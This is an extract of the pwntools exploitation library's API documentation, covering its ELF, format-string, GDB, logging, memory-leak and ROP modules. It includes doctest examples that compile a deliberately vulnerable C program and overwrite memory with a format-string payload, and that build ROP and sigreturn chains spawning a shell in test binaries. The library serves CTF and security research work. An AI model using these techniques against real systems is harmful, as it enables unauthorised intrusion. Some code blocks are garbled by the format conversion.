DWARF info for the elf

elfclass

ELF class (32 or 64).

```
Note: Set during ELFFile._identify_file
```

elftype

ELF type (EXEC, DYN, etc)

entry

Entry point to the ELF

entrypoint

Entry point to the ELF

executable_segments

Returns – list of all segments which are executable.

static from_assembly (*a, **kw)

Given an assembly listing, return a fully loaded ELF object which contains that assembly at its entry point.

Parameters

- assembly (str) Assembly language listing
- vma (int) Address of the entry point and the module's base address.

Example

```
>>> e = ELF.from_assembly('nop; foo: int 0x80', vma = 0x400000)
>>> e.symbols['foo'] = 0x400001
>>> e.disasm(e.entry, 1)
' 400000: 90 nop'
>>> e.disasm(e.symbols['foo'], 2)
' 400001: cd 80 int 0x80'
```

static from_bytes(*a, **kw)

Given a sequence of bytes, return a fully loaded ELF object which contains those bytes at its entry point.

Parameters

- bytes (str) Shellcode byte string
- vma (int) Desired base address for the ELF.

Example

```
>>> e = ELF.from_bytes('\x90\xcd\x80', vma=0xc000)
>>> print(e.disasm(e.entry, 3))
c000: 90 nop
c001: cd 80 int 0x80
```

get_data()

Retrieve the raw data from the ELF file.

```
>>> bash = ELF(which('bash'))
>>> fd = open(which('bash'))
>>> bash.get_data() == fd.read()
True
```

libc

If the ELF imports any libraries which contain 'libc.so', and we can determine the appropriate path to it on the local system, returns an ELF object pertaining to that libc.so.

Otherwise, returns None.

non_writable_segments

Returns - list of all segments which are NOT writeable

offset_to_vaddr(offset)

Translates the specified offset to a virtual address.

```
Parameters offset (int) – Offset to translate
```

Returns Virtual address which corresponds to the file offset, or None

```
>>> bash = ELF(which('bash'))
>>> bash.address == bash.offset_to_vaddr(0)
True
>>> bash.address += 0x123456
>>> bash.address == bash.offset_to_vaddr(0)
True
```

read (address, count)

Read data from the specified virtual address

Parameters

- address (int) Virtual address to read
- count (int) Number of bytes to read

Returns A string of bytes, or None

Examples

```
>>> bash = ELF(which('bash'))
>>> bash.read(bash.address+1, 3)
'ELF'
```

rwx_segments

Returns – list of all segments which are writeable and executable.

save (path)

Save the ELF to a file

```
>>> bash = ELF(which('bash'))
>>> bash.save('/tmp/bash_copy')
>>> copy = file('/tmp/bash_copy')
>>> bash = file(which('bash'))
>>> bash.read() == copy.read()
True
```

search (*needle*, *writable* = False) \rightarrow str generator

Search the ELF's virtual address space for the specified string.

Parameters

- **needle** (*str*) String to search for.
- writable (bool) Search only writable sections.

Returns An iterator for each virtual address that matches.

```
>>> bash = ELF(which('bash'))
>>> bash.address + 1 == next(bash.search('ELF'))
True
```

```
>>> sh = ELF(which('bash'))
>>> # /bin/sh should only depend on libc
>>> libc_path = [key for key in sh.libs.keys() if 'libc' in key][0]
>>> libc = ELF(libc_path)
>>> # this string should be in there because of system(3)
```

```
>>> len(list(libc.search('/bin/sh'))) > 0
True
```

section (name)

Gets data for the named section

Parameters name (str) – Name of the section

Returns String containing the bytes for that section

sections

A list of all sections in the ELF

segments

A list of all segments in the ELF

start

Entry point to the ELF

vaddr_to_offset (address)

Translates the specified virtual address to a file address

Parameters address (int) – Virtual address to translate

Returns Offset within the ELF file which corresponds to the address, or None.

Examples

```
>>> bash = ELF(which('bash'))
>>> 0 == bash.vaddr_to_offset(bash.address)
True
>>> bash.address += 0x123456
>>> 0 == bash.vaddr_to_offset(bash.address)
True
```

writable_segments

Returns – list of all segments which are writeable

write (address, data)

Writes data to the specified virtual address

Parameters

- address (int) Virtual address to write
- data (str) Bytes to write

Note:: This routine does not check the bounds on the write to ensure that it stays in the same segment.

```
>>> bash = ELF(which('bash'))
>>> bash.read(bash.address+1, 3)
'ELF'
>>> bash.write(bash.address, "HELO")
>>> bash.read(bash.address, 4)
'HELO'
```

```
class pwnlib.elf.Core (*a, **kw) \rightarrow Core
```

Enhances the inforation available about a corefile (which is an extension of the ELF format) by permitting extraction of information about the mapped data segments, and register state.

Registers can be accessed directly, e.g. via core_obj.eax.

Mappings can be iterated in order via core_obj.mappings.

exe

Return the first mapping in the executable file.

```
getenv (name) \rightarrow int
```

Read an environment variable off the stack, and return its address.

Parameters name (str) – Name of the environment variable to read.

Returns The address of the environment variable.

libc

Return the first mapping in libc

maps

A printable string which is similar to /proc/xx/maps.

vdso

Return the mapping for the vdso

vsyscall

Return the mapping for the vdso

vvar

Return the mapping for the vvar

2.10 pwnlib.exception — Pwnlib exceptions

```
exception pwnlib.exception.PwnlibException (msg, reason=None, exit_code=None) Exception thrown by pwnlib.log.error().
```

Pwnlib functions that encounters unrecoverable errors should call the pwnlib.log.error() function instead of throwing this exception directly.

2.11 pwnlib.fmtstr — Format string bug exploitation tools

Provide some tools to exploit format string bug

```
>>> program = tempfile.mktemp()
>>> source = program + ".c"
>>> write(source, '''
... #include <stdio.h>
... #include <stdlib.h>
... #include <unistd.h>
... #include <sys/mman.h>
... #define MEMORY_ADDRESS ((void*)0x11111000)
... #define MEMORY_SIZE 1024
```

```
... #define TARGET ((int *) 0x11111110)
... int main(int argc, char const *argv[])
. . . {
          char buff[1024];
. . .
          void *ptr = NULL;
. . .
          int *my_var = TARGET;
         ptr = mmap(MEMORY_ADDRESS, MEMORY_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_
          if(ptr != MEMORY_ADDRESS)
          {
                  perror("mmap");
                  return EXIT_FAILURE;
. . .
          *my_var = 0x41414141;
         write(1, &my_var, sizeof(int *));
         scanf("%s", buff);
          dprintf(2, buff);
          write(1, my_var, sizeof(int));
. . .
          return 0;
...}''')
>>> cmdline = ["gcc", source, "-Wno-format-security", "-m32", "-o", program]
>>> process(cmdline).wait_for_close()
>>> def exec_fmt (payload):
... p = process(program)
      p.sendline(payload)
      return p.recvall()
. . .
>>> autofmt = FmtStr(exec_fmt)
>>> offset = autofmt.offset
>>> p = process(program, stderr=subprocess.PIPE)
>>> addr = unpack(p.recv(4))
>>> payload = fmtstr_payload(offset, {addr: 0x1337babe})
>>> p.sendline(payload)
>>> print hex(unpack(p.recv(4)))
0x1337babe
```

2.11.1 Example - Payload generation

2.11.2 Example - Automated exploitation

```
# Assume a process that reads a string
# and gives this string as the first argument
# of a printf() call
```

```
# It do this indefinitely
p = process('./vulnerable')

# Function called in order to send a payload

def send_payload(payload):
    log.info("payload = %s" % repr(payload))
    p.sendline(payload)
    return p.recv()

# Create a FmtStr object and give to him the function
format_string = FmtStr(execute_fmt=send_payload)
format_string.write(0x0, 0x1337babe) # write 0x1337babe at 0x0
format_string.write(0x1337babe, 0x0) # write 0x0 at 0x1337babe
format_string.execute_writes()
```

class pwnlib.fmtstr.FmtStr (execute_fmt, offset=None, padlen=0, numbwritten=0)
 Provides an automated format string exploitation.

It takes a function which is called every time the automated process want to communicate with the vulnerable process. this function takes a parameter with the payload that you have to send to the vulnerable process and must return the process returns.

If the offset parameter is not given, then try to find the right offset by leaking stack data.

Parameters

- execute_fmt (function) function to call for communicate with the vulnerable process
- offset (int) the first formatter's offset you control
- padlen (int) size of the pad you want to add before the payload
- numbwritten (int) number of already written bytes

```
\textbf{execute\_writes} \, (\,) \, \to None
```

Makes payload and send it to the vulnerable process

Returns None

```
write (addr, data) \rightarrow None
```

In order to tell: I want to write data at addr.

Parameters

- addr (int) the address where you want to write
- data (int) the data that you want to write addr

Returns None

pwnlib.fmtstr.fmtstr_payload (offset, writes, numbwritten=0, write_size='byte') → str

Makes payload with given parameter. It can generate payload for 32 or 64 bits architectures. The size of the addr is taken from context.bits

Parameters

- **offset** (*int*) the first formatter's offset you control
- writes (dict) dict with addr, value {addr: value, addr2: value2}
- numbwritten (int) number of byte already written by the printf function
- write_size (str) must be byte, short or int. Tells if you want to write byte by byte, short by short or int by int (hhn, hn or n)

Returns The payload in order to do needed writes

Examples

2.12 pwnlib.gdb — Working with GDB

```
pwnlib.gdb.attach (target, execute = None, exe = None, arch = None) → None

Start GDB in a new terminal and attach to target. pwnlib.util.proc.pidof() is used to find the PID of target except when target is a (host, port)-pair. In that case target is assumed to be a GDB server.
```

If it is running locally and *exe* is not given we will try to find the path of the target binary from parsing the command line of the program running the GDB server (e.g. qemu or gdbserver). Notice that if the PID is known (when *target* is not a GDB server) *exe* will be read from /proc/<pid>/exe.

If *gdb-multiarch* is installed we use that or 'gdb' otherwise.

Parameters

- target The target to attach to.
- **execute** (str or file) GDB script to run after attaching.
- **exe** (str) The path of the target binary.
- arch (str) Architechture of the target binary. If exe known GDB will
- the architechture automatically (detect) -

Returns None

```
pwnlib.qdb.debug (args) \rightarrow tube
```

Launch a GDB server with the specified command line, and launches GDB to attach to it.

Parameters

- args Same args as passed to pwnlib.tubes.process
- ssh Remote ssh session to use to launch the process. Automatically sets up port forwarding so that gdb runs locally.

Returns A tube connected to the target process

```
pwnlib.gdb.debug_assembly(*a, **kw)
```

Creates an ELF file, and launches it with GDB.

This is identical to debug_shellcode, except that any defined symbols are available in GDB, and it saves you the explicit call to asm().

```
pwnlib.gdb.debug_shellcode(*a, **kw)
```

Creates an ELF file, and launches it with GDB.

Parameters

- data (str) Assembled shellcode bytes
- **kwargs** (dict) Arguments passed to context (e.g. arch='arm')

Returns A process tube connected to the shellcode on stdin/stdout/stderr.

```
pwnlib.gdb.find_module_addresses(binary, ssh=None, ulimit=False)
```

Cheat to find modules by using GDB.

We can't use /proc/\$pid/map since some servers forbid it. This breaks info proc in GDB, but info sharedlibrary still works. Additionally, info sharedlibrary works on FreeBSD, which may not have procfs enabled or accessible.

The output looks like this:

```
info proc mapping
process 13961
warning: unable to open /proc file '/proc/13961/maps'

info sharedlibrary
From To Syms Read Shared Object Library
0xf7fdc820 0xf7ff505f Yes (*) /lib/ld-linux.so.2
0xf7fbb650 0xf7fc79f8 Yes /lib32/libpthread.so.0
0xf7e26f10 0xf7f5b51c Yes (*) /lib32/libc.so.6
(*): Shared library is missing debugging information.
```

Note that the raw addresses provided by info sharedlibrary are actually the address of the .text segment, not the image base address.

This routine automates the entire process of:

- 1.Downloading the binaries from the remote server
- 2.Scraping GDB for the information
- 3.Loading each library into an ELF
- 4. Fixing up the base address vs. the . text segment address

Parameters

• **binary** (*str*) – Path to the binary on the remote server

- **ssh** (pwnlib.tubes.tube) **SSH** connection through which to load the libraries. If left as None, will use a pwnlib.tubes.process.process.
- ulimit (bool) Set to True to run "ulimit -s unlimited" before GDB.

Returns A list of pwnlib.elf.ELF objects, with correct base addresses.

Example:

2.13 pwnlib.log — Logging stuff

Logging module for printing status during an exploit, and internally within pwntools.

2.13.1 Exploit Developers

By using the standard from pwn import *, an object named log will be inserted into the global namespace. You can use this to print out status messages during exploitation.

For example,:

```
log.info('Hello, world!')
```

prints:

```
[*] Hello, world!
```

Additionally, there are some nifty mechanisms for performing status updates on a running job (e.g. when brute-forcing).:

```
p = log.progress('Working')
p.status('Reticulating splines')
time.sleep(1)
p.success('Got a shell!')
```

The verbosity of logging can be most easily controlled by setting log_level on the global context object.:

```
log.info("No you see me")
context.log_level = 'error'
log.info("Now you don't")
```

The purpose of this attribute is to control what gets printed to the screen, not what gets emitted. This means that you can put all logging events into a log file, while only wanting to see a small subset of them on your screen.

2.13.2 Pwnlib Developers

A module-specific logger can be imported into the module via:

```
from .log import getLogger
log = getLogger(__name__)
```

This provides an easy way to filter logging programmatically or via a configuration file for debugging.

When using progress, you should use the with keyword to manage scoping, to ensure the spinner stops if an exception is thrown.

2.13.3 Technical details

Familiarity with the logging module is assumed.

A pwnlib root logger named 'pwnlib' is created and a custom handler and formatter is installed for it. The handler determines its logging level from context.log_level.

Ideally context.log_level should only affect which records will be emitted by the handler such that e.g. logging to a file will not be changed by it. But for performance reasons it is not feasible log everything in the normal case. In particular there are tight loops inside <code>pwnlib.tubes.tube</code>, which we would like to be able to debug, but if we are not debugging them, they should not spit out messages (even to a log file). For this reason there are a few places inside pwnlib, that will not even emit a record without <code>context.log_level</code> being set to <code>logging.DEBUG</code> or below.

Log records created by Progress and Logger objects will set 'pwnlib_msgtype' on the extra field to signal which kind of message was generated. This information is used by the formatter to prepend a symbol to the message, e.g. '[+] ' in '[+] got a shell!'

This field is ignored when using the logging module's standard formatters.

All status updates (which are not dropped due to throttling) on progress loggers result in a log record being created. The extra field then carries a reference to the Progress logger as 'pwnlib_progress'.

If the custom handler determines that term_mode is enabled, log records that have a 'pwnlib_progess' in their extra field will not result in a message being emitted but rather an animated progress line (with a spinner!) being created. Note that other handlers will still see a meaningful log record.

The custom handler will only handle log records whith a level of at least <code>context.log_level</code>. Thus if e.g. the level for the 'pwnlib.tubes.ssh' is set to 'DEBUG' no additional output will show up unless <code>context.log_level</code> is also set to 'DEBUG'. Other handlers will however see the extra log records generated by the 'pwnlib.tubes.ssh' logger.

```
pwnlib.log.install_default_handler()
```

Instantiates a Handler and Formatter and installs them for the pwnlib root logger. This function is automatically called from when importing pwn.

```
class pwnlib.log.Progress(logger, msg, status, level, args, kwargs)
```

Progress logger used to generate log records associated with some running job. Instances can be used as context managers which will automatically declare the running job a success upon exit or a failure upon a thrown exception. After <code>success()</code> or <code>failure()</code> is called the status can no longer be updated.

This class is intended for internal use. Progress loggers should be created using Logger.progress().

```
status (status, *args, **kwargs)
```

Logs a status update for the running job.

If the progress logger is animated the status line will be updated in place.

Status updates are throttled at one update per 100ms.

```
success (status = 'Done', *args, **kwargs)
```

Logs that the running job succeeded. No further status updates are allowed.

If the Logger is animated, the animation is stopped.

```
failure (message)
```

Logs that the running job failed. No further status updates are allowed.

If the Logger is animated, the animation is stopped.

```
class pwnlib.log.Logger (logger=None)
```

A class akin to the logging.LoggerAdapter class. All public methods defined on logging.Logger instances are defined on this class.

Also adds some pwnlib flavor:

- •progress() (alias waitfor())
- •success()
- •failure()
- •indented()
- •info_once()
- •warning_once() (alias warn_once())

Adds pwnlib-specific information for coloring, indentation and progress logging via log records extra field.

Loggers instantiated with getLogger() will be of this class.

```
\textbf{progress} \ (\textit{message}, \textit{status} = ``, *args, level = logging.INFO, **kwargs") \ \rightarrow \text{Progress}
```

Creates a new progress logger which creates log records with log level level.

Progress status can be updated using Progress.status() and stopped using Progress.success() or Progress.failure().

If *term.term_mode* is enabled the progress logger will be animated.

The progress manager also functions as a context manager. Using context managers ensures that animations stop even if an exception is raised.

```
with log.progress('Trying something...') as p:
    for i in range(10):
        p.status("At %i" % i)
        time.sleep(0.5)
    x = 1/0
```

```
waitfor (*args, **kwargs)
```

Alias for progress ().

indented (message, *args, level = logging.INFO, **kwargs)

Log a message but don't put a line prefix on it.

Parameters level (*int*) – Alternate log level at which to set the indented message. Defaults to logging. INFO.

```
success (message, *args, **kwargs)
```

Logs a success message.

```
failure (message, *args, **kwargs)
```

Logs a failure message.

```
info_once (message, *args, **kwargs)
```

Logs an info message. The same message is never printed again.

```
warning_once (message, *args, **kwargs)
```

Logs a warning message. The same message is never printed again.

warn_once (*args, **kwargs)

```
Alias for warning once ().
     debug (message, *args, **kwargs)
           Logs a debug message.
     info(message, *args, **kwargs)
           Logs an info message.
     warning (message, *args, **kwargs)
          Logs a warning message.
     warn (*args, **kwargs)
           Alias for warning ().
     error (message, *args, **kwargs)
           To be called outside an exception handler.
           Logs an error message, then raises a PwnlibException.
     exception (message, *args, **kwargs)
           To be called from an exception handler.
           Logs a error message, then re-raises the current exception.
     critical (message, *args, **kwargs)
           Logs a critical message.
     log (level, message, *args, **kwargs)
           Logs a message with log level level. The pwnlib formatter will use the default logging formater to
           format this message.
     isEnabledFor(level) \rightarrow bool
           See if the underlying logger is enabled for the specified level.
     setLevel (level)
           Set the logging level for the underlying logger.
     addHandler(handler)
           Add the specified handler to the underlying logger.
     removeHandler(handler)
           Remove the specified handler from the underlying logger.
class pwnlib.log.Handler(stream=None)
     A custom handler class. This class will report whatever context.log_level is currently set to as its log
     If term.term mode is enabled log records originating from a progress logger will not be emitted but rather
     an animated progress line will be created.
     This handler outputs to sys.stderr.
     An instance of this handler is added to the 'pwnlib' logger.
     emit (record)
           Emit a log record or create/update an animated progress logger depending on whether term_mode
```

class pwnlib.log.Formatter (fmt=None, datefmt=None)

is enabled.

Logging formatter which performs custom formatting for log records containing the 'pwnlib_msgtype' attribute. Other records are formatted using the *logging* modules default formatter.

If 'pwnlib_msgtype' is set, it performs the following actions:

- •A prefix looked up in *_msgtype_prefixes* is prepended to the message.
- •The message is prefixed such that it starts on column four.
- •If the message spans multiple lines they are split, and all subsequent lines are indented.

This formatter is used by the handler installed on the 'pwnlib' logger.

2.14 pwnlib.memleak — Helper class for leaking memory

```
class pwnlib.memleak.MemLeak (f, search_range=20, reraise=True)

MemLeak is a caching and heuristic tool for exploiting memory leaks.
```

It can be used as a decorator, around functions of the form:

```
def some_leaker(addr): ... return data_as_string_or_None
```

It will cache leaked memory (which requires either non-randomized static data or a continuous session). If required, dynamic or known data can be set with the set-functions, but this is usually not required. If a byte cannot be recovered, it will try to leak nearby bytes in the hope that the byte is recovered as a side-effect.

Parameters

- f (function) The leaker function.
- **search_range** (*int*) How many bytes to search backwards in case an address does not work.
- reraise (bool) Whether to reraise call pwnlib.log.warning() in case the leaker function throws an exception.

```
>>> import pwnlib
>>> binsh = pwnlib.util.misc.read('/bin/sh')
>>> @pwnlib.memleak.MemLeak
... def leaker(addr):
       print "leaking 0x%x" % addr
       return binsh[addr:addr+4]
>>> leaker.s(0)[:4]
leaking 0x0
leaking 0x4
'\x7fELF'
>>> leaker[:4]
'\x7fELF'
>>> hex(leaker.d(0))
'0x464c457f'
>>> hex(leaker.clearb(1))
'0x45'
>>> hex(leaker.d(0))
leaking 0x1
'0x464c457f'
>>> @pwnlib.memleak.MemLeak
... def leaker_nonulls(addr):
       print "leaking 0x%x" % addr
        if addr & 0xff == 0:
            return None
       return binsh[addr:addr+4]
```

```
>>> leaker_nonulls.d(0) == None
leaking 0x0
True
>>> leaker_nonulls[0x100:0x104] == binsh[0x100:0x104]
leaking 0x100
leaking 0xff
leaking 0x103
True
```

static NoNewlines (function)

Wrapper for leak functions such that addresses which contain newline bytes are not leaked.

This is useful if the address which is used for the leak is provided by e.g. fgets ().

static NoNulls (function)

Wrapper for leak functions such that addresses which contain NULL bytes are not leaked.

This is useful if the address which is used for the leak is read in via a string-reading function like scanf ("%s") or smilar.

static NoWhitespace (function)

Wrapper for leak functions such that addresses which contain whitespace bytes are not leaked.

This is useful if the address which is used for the leak is read in via e.g. scanf().

static String (function)

Wrapper for leak functions which leak strings, such that a NULL terminator is automaticall added.

This is useful if the data leaked is printed out as a NULL-terminated string, via e.g. printf().

```
b (addr, ndx = 0) \rightarrow int

Leak byte at ((uint8_t*) addr)[ndx]
```

Examples

```
>>> import string
>>> data = string.ascii_lowercase
>>> 1 = MemLeak(lambda a: data[a:a+2], reraise=False)
>>> 1.b(0) == ord('a')
True
>>> 1.b(25) == ord('z')
True
>>> 1.b(26) is None
True
```

clearb (addr, ndx = 0) \rightarrow int

Clears byte at $((uint8_t*)addr)[ndx]$ from the cache and returns the removed value or *None* if the address was not completely set.

```
>>> 1 = MemLeak(lambda a: None)
>>> 1.cache = {0:'a'}
>>> 1.n(0,1) == 'a'
True
>>> 1.clearb(0) == unpack('a', 8)
True
>>> 1.cache
```

```
{}
>>> l.clearb(0) is None
True
```

$cleard(addr, ndx = 0) \rightarrow int$

Clears dword at ((uint32_t*)addr) [ndx] from the cache and returns the removed value or *None* if the address was not completely set.

Examples

```
>>> 1 = MemLeak(lambda a: None)
>>> l.cache = {0:'a', 1: 'b', 2: 'c', 3: 'd'}
>>> l.n(0, 4) == 'abcd'
True
>>> l.cleard(0) == unpack('abcd', 32)
True
>>> l.cache
{}
```

$clearq(addr, ndx = 0) \rightarrow int$

Clears qword at ((uint64_t*)addr) [ndx] from the cache and returns the removed value or *None* if the address was not completely set.

Examples

```
>>> c = MemLeak(lambda addr: '')
>>> c.cache = {x:'x' for x in range(0x100, 0x108)}
>>> c.clearq(0x100) == unpack('xxxxxxxxx', 64)
True
>>> c.cache == {}
True
```

clearw (addr, ndx = 0) \rightarrow int

Clears word at ((uint16_t*)addr) [ndx] from the cache and returns the removed value or None if the address was not completely set.

Examples

```
>>> 1 = MemLeak(lambda a: None)
>>> 1.cache = {0:'a', 1: 'b'}
>>> 1.n(0, 2) == 'ab'
True
>>> 1.clearw(0) == unpack('ab', 16)
True
>>> 1.cache
{}
```

```
\mathbf{d} (addr, ndx = 0) \rightarrow \text{int}
```

Leak dword at ((uint32_t*) addr)[ndx]

Examples

```
>>> import string
>>> data = string.ascii_lowercase
>>> 1 = MemLeak(lambda a: data[a:a+8], reraise=False)
>>> 1.d(0) == unpack('abcd', 32)
True
>>> 1.d(22) == unpack('wxyz', 32)
True
>>> 1.d(23) is None
True
```

field (address, obj)

field(address, field) => a structure field.

Leak a field from a structure.

Parameters

- address (int) Base address to calculate offsets from
- **field** (obj) Instance of a ctypes field

Return Value: The type of the return value will be dictated by the type of field.

```
field_compare (address, obj, expected)
field_compare(address, field, expected) ==> bool
```

Leak a field from a structure, with an expected value. As soon as any mismatch is found, stop leaking the structure.

Parameters

- address (int) Base address to calculate offsets from
- **field** (ob j) Instance of a ctypes field
- **expected** (int, str) Expected value

Return Value: The type of the return value will be dictated by the type of field.

```
\mathbf{n} (addr, ndx = 0) \rightarrow \text{str}
```

Leak *numb* bytes at *addr*.

Returns A string with the leaked bytes, will return *None* if any are missing

```
>>> import string
>>> data = string.ascii_lowercase
>>> 1 = MemLeak(lambda a: data[a:a+4], reraise=False)
>>> 1.n(0,1) == 'a'
True
>>> 1.n(0,26) == data
True
>>> len(1.n(0,26)) == 26
True
>>> 1.n(0,27) is None
True
```

```
\mathbf{p} (addr, ndx = 0) \rightarrow \mathrm{int}
Leak a pointer-width value at ((void**) addr) [ndx]
\mathbf{q} (addr, ndx = 0) \rightarrow \mathrm{int}
Leak qword at ((uint64_t*) addr) [ndx]
```

Examples

```
>>> import string
>>> data = string.ascii_lowercase
>>> 1 = MemLeak(lambda a: data[a:a+16], reraise=False)
>>> 1.q(0) == unpack('abcdefgh', 64)
True
>>> 1.q(18) == unpack('stuvwxyz', 64)
True
>>> 1.q(19) is None
True
```

 $raw(addr, numb) \rightarrow list$

Leak numb bytes at addr

s $(addr) \rightarrow str$

Leak bytes at addr until failure or a nullbyte is found

Returns A string, without a NULL terminator. The returned string will be empty if the first byte is a NULL terminator, or if the first byte could not be retrieved.

Examples

```
>>> data = "Hello\x00World"
>>> 1 = MemLeak(lambda a: data[a:a+4], reraise=False)
>>> 1.s(0) == "Hello"
True
>>> 1.s(5) == ""
True
>>> 1.s(6) == "World"
True
>>> 1.s(999) == ""
True
```

setb(addr, val, ndx=0)

Sets byte at $((uint8_t*)addr)[ndx]$ to val in the cache.

Examples

```
>>> 1 = MemLeak(lambda x: '')
>>> 1.cache == {}
True
>>> 1.setb(33, 0x41)
>>> 1.cache == {33: 'A'}
True
```

setd(addr, val, ndx=0)

Sets dword at ((uint32_t*)addr) [ndx] to val in the cache.

Examples

```
See setw().
setq(addr, val, ndx=0)
Sets qword at ((uint64_t*)addr) [ndx] to val in the cache.
```

Examples

```
See setw().
```

```
sets (addr, val, null_terminate=True)
```

Set known string at addr, which will be optionally be null-terminated

Note that this method is a bit dumb about how it handles the data. It will null-terminate the data, but it will not stop at the first null.

Examples

```
>>> l = MemLeak(lambda x: '')
>>> l.cache == {}
True
>>> l.sets(0, 'H\x00ello')
>>> l.cache == {0: 'H', 1: '\x00', 2: 'e', 3: 'l', 4: 'l', 5: 'o', 6: '\x00'}
True
```

setw(addr, val, ndx=0)

Sets word at ((uint16_t*) addr) [ndx] to val in the cache.

Examples

```
>>> 1 = MemLeak(lambda x: '')
>>> 1.cache == {}
True
>>> 1.setw(33, 0x41)
>>> 1.cache == {33: 'A', 34: '\x00'}
True
```

struct (address, struct)

struct(address, struct) => structure object Leak an entire structure. :param address: Addess of structure in memory :type address: int :param struct: A ctypes structure to be instantiated with leaked data :type struct: class

Return Value: An instance of the provided struct class, with the leaked data decoded

```
\mathbf{w} (addr, ndx = 0) \rightarrow \text{int}

Leak word at ((uint16_t*) addr) [ndx]
```

```
>>> import string
>>> data = string.ascii_lowercase
>>> 1 = MemLeak(lambda a: data[a:a+4], reraise=False)
>>> 1.w(0) == unpack('ab', 16)
```

```
True
>>> 1.w(24) == unpack('yz', 16)
True
>>> 1.w(25) is None
True
```

2.15 pwnlib.replacements — Replacements for various functions

Improved replacements for standard functions

```
pwnlib.replacements.sleep (n)
```

Replacement for time.sleep(), which does not return if a signal is received.

Parameters n (int) – Number of seconds to sleep.

2.16 pwnlib.rop — Return Oriented Programming

2.16.1 Submodules

```
pwnlib.rop.rop — Return Oriented Programming
```

Return Oriented Programming

Manual ROP

The ROP tool can be used to build stacks pretty trivially. Let's create a fake binary which has some symbols which might have been useful.

```
>>> context.clear(arch='i386')
>>> binary = ELF.from_assembly('add esp, 0x10; ret')
>>> binary.symbols = {'read': 0xdeadbeef, 'write': 0xdecafbad, 'exit': 0xfeedface}
```

Creating a ROP object which looks up symbols in the binary is pretty straightforward.

```
>>> rop = ROP(binary)
```

With the ROP object, you can manually add stack frames.

```
>>> rop.raw(0)
>>> rop.raw(unpack('abcd'))
>>> rop.raw(2)
```

Inspecting the ROP stack is easy, and laid out in an easy-to-read manner.

```
>>> print rop.dump()
0x0000: 0x0
0x0004: 0x64636261
0x0008: 0x2
```

The ROP module is also aware of how to make function calls with standard Linux ABIs.

```
>>> rop.call('read', [4,5,6])
>>> print rop.dump()
0x0000:
                     0 \times 0
0x0004:
            0x64636261
0x0008:
                    0x2
0x000c:
0x0010:
            0xdeadbeef read(4, 5, 6)
               'eaaa' <pad>
0x0014:
                     0x4 arg0
0x0018:
                     0x5 arg1
0x001c:
                     0x6 arg2
```

You can also use a shorthand to invoke calls. The stack is automatically adjusted for the next frame

```
>>> rop.write(7,8,9)
>>> rop.exit()
>>> print rop.dump()
0x0000:
             0×0
0x0004:
        0x64636261
0x0008:
            0x2
0x0018:
            0x5 arg1
0x001c:
            0x6 arg2
0x002c:
             0x7 arg0
0x0030:
             0x8 arg1
0x0034:
            0x9 arg2
0x0038:
0x003c:
           'oaaa' <pad>
        Oxfeedface exit()
0x0040:
        'qaaa' <pad>
```

ROP Example

Let's assume we have a trivial binary that just reads some data onto the stack, and returns.

```
>>> context.clear(arch='i386')
>>> c = constants
>>> assembly = 'read:' + shellcraft.read(c.STDIN_FILENO, 'esp', 1024)
>>> assembly += 'ret\n'
```

Let's provide some simple gadgets:

```
>>> assembly += 'add_esp: add esp, 0x10; ret\n'
```

And perhaps a nice "write" function.

```
>>> assembly += 'write: enter 0,0\n'
>>> assembly += ' mov ebx, [ebp+4+4]\n'
>>> assembly += ' mov ecx, [ebp+4+8]\n'
>>> assembly += ' mov edx, [ebp+4+12]\n'
>>> assembly += shellcraft.write('ebx', 'ecx', 'edx')
>>> assembly += ' leave\n'
>>> assembly += ' ret\n'
>>> assembly += 'flag: .asciz "The flag"\n'
```

And a way to exit cleanly.

```
>>> assembly += 'exit: ' + shellcraft.exit(0)
>>> binary = ELF.from_assembly(assembly)
```

Finally, let's build our ROP stack

```
>>> rop = ROP(binary)
>>> rop.write(c.STDOUT_FILENO, binary.symbols['flag'], 8)
>>> rop.exit()
>>> print rop.dump()
0x0000: 0x10000012 write(STDOUT_FILENO, 268435494, 8)
0x0004:
             0x1000000e <adjust: add esp, 0x10; ret>
0x0008:
                   0x1 arg0
           0x10000026 flag
0x000c:
0x0010:
                  0x8 arg2
                 'faaa' <pad>
0x0014:
0x0018:
             0x1000002f exit()
0x001c:
                 'haaa' <pad>
```

The raw data from the ROP stack is available via str.

```
>>> raw_rop = str(rop)
>>> print enhex(raw_rop)
120000100e000010010000002600001008000000666161612f00001068616161
```

Let's try it out!

```
>>> p = process(binary.path)
>>> p.send(raw_rop)
>>> print p.recvall(timeout=5)
The flag
```

ROP + Sigreturn

In some cases, control of the desired register is not available. However, if you have control of the stack, EAX, and can find a *int* 0x80 gadget, you can use sigreturn.

Even better, this happens automagically.

Our example binary will read some data onto the stack, and not do anything else interesting.

Let's create a ROP object and invoke the call.

```
>>> context.kernel = 'amd64'
>>> rop = ROP(binary)
>>> binsh = binary.symbols['binsh']
>>> rop.execve(binsh, 0, 0)
```

That's all there is to it.

```
>>> print rop.dump()
0x0000: 0x1000000e pop eax; ret
0x0004:
                   0x77
0x0008:
            0x1000000b int 0x80
0x000c:
                   0x0 gs
0x0010:
                    0x0 fs
0x0014:
                    0x0 es
0x0018:
                    0x0 ds
0x001c:
                    0x0 edi
0x0020:
                   0x0 esi
0x0024:
                   0x0 ebp
0x0028:
                  0x0 esp
0x002c: 0x10000012 \text{ ebx} = \text{binsh}
0x0030:
                   0x0 edx
0x0034:
                   0x0 ecx
0x0038:
                   0xb eax
0x003c:
                    0x0 trapno
0x0040:
                    0x0 err
0x0040:

0x0044: 0x1000000b int 0x80

0x23 cs
0x0048:
0x004c:
                   0x0 eflags
0x0050:
                   0x0 esp_at_signal
0x0054:
                  0x2b ss
0x0058:
                  0x0 fpstate
```

Let's try it out!

```
>>> p = process(binary.path)
>>> p.send(str(rop))
>>> time.sleep(1)
>>> p.sendline('echo hello; exit')
>>> p.recvline()
'hello\n'
```

class pwnlib.rop.rop.ROP (elfs, base=None, **kwargs)

Class which simplifies the generation of ROP-chains.

```
>>> context.clear(arch = "i386", kernel = 'amd64')
>>> assembly = 'int 0x80; ret; add esp, 0x10; ret; pop eax; ret'
>>> e = ELF.from_assembly(assembly)
>>> e.symbols['funcname'] = e.address + 0x1234
>>> r = ROP(e)
>>> r.funcname(1, 2)
>>> r.funcname(3)
>>> r.execve(4, 5, 6)
>>> print r.dump()
```

```
0x0000:
             0x10001234 funcname(1, 2)
0x0004:
             0x10000003 <adjust: add esp, 0x10; ret>
0x0008:
                    0x1 arg0
                    0x2 arg1
0x000c:
                 'eaaa' <pad>
0x0010:
                 'faaa' <pad>
0x0014:
